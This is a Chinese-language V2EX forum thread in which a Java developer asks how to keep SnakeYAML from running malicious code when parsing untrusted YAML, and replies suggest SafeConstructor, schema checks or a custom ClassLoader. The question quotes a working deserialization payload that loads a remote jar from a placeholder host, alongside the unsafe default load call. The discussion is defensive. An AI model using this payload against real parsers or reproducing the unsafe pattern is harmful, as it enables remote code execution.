V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
sqfphoenix
V2EX  ›  Java

请教大家一下,如何避免 snakeyaml 解析 yaml 文件时被注入恶意代码导致远程执行呢

  •  
  •   sqfphoenix · 2020-12-15 13:44:06 +08:00 · 1554 次点击
    这是一个创建于 1233 天前的主题,其中的信息可能已经有所发展或是发生改变。

    目前有这么一个需求,需要解析一个不确定格式的 yaml 文件为 json 。但是如果 yaml 是恶意的,如

    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://x.x.x.x/doSomething.jar"]
      ]]
    ]
    

    通过 snakeyaml 方法解析

    Yaml yaml = new Yaml(); //因为不能确定 yaml 具体格式,所以不能通过 Constructor 的方式避免漏洞
    Object obj = yaml.load(yamlString);
    

    此时就会有远程执行的问题 请教大家这个问题如何解决呢,通过参数校验 yaml 内容也不太好解决,因为可能 yaml 会有其他变形

    3 条回复    2020-12-16 00:34:59 +08:00
    GM
        1
    GM  
       2020-12-15 16:47:49 +08:00
    schema 验证?
    dousha99
        2
    dousha99  
       2020-12-15 19:31:38 +08:00
    如果不能预知任何信息,只知道这会是一个用户输入,那么这个需求是完全不靠谱的...

    不过因为是解析为 JSON, 那么按道理应该是可以使用 `SafeConstructor` 来解析成 POJO.

    或者,自己写一个 ClassLoader 提供给 SnakeYaml, 拦截掉你认为危险的 Class 就可以了。
    miao1007
        3
    miao1007  
       2020-12-16 00:34:59 +08:00 via iPhone
    jenkins 有定制后的 yaml
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   2482 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 25ms · UTC 13:49 · PVG 21:49 · LAX 06:49 · JFK 09:49
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.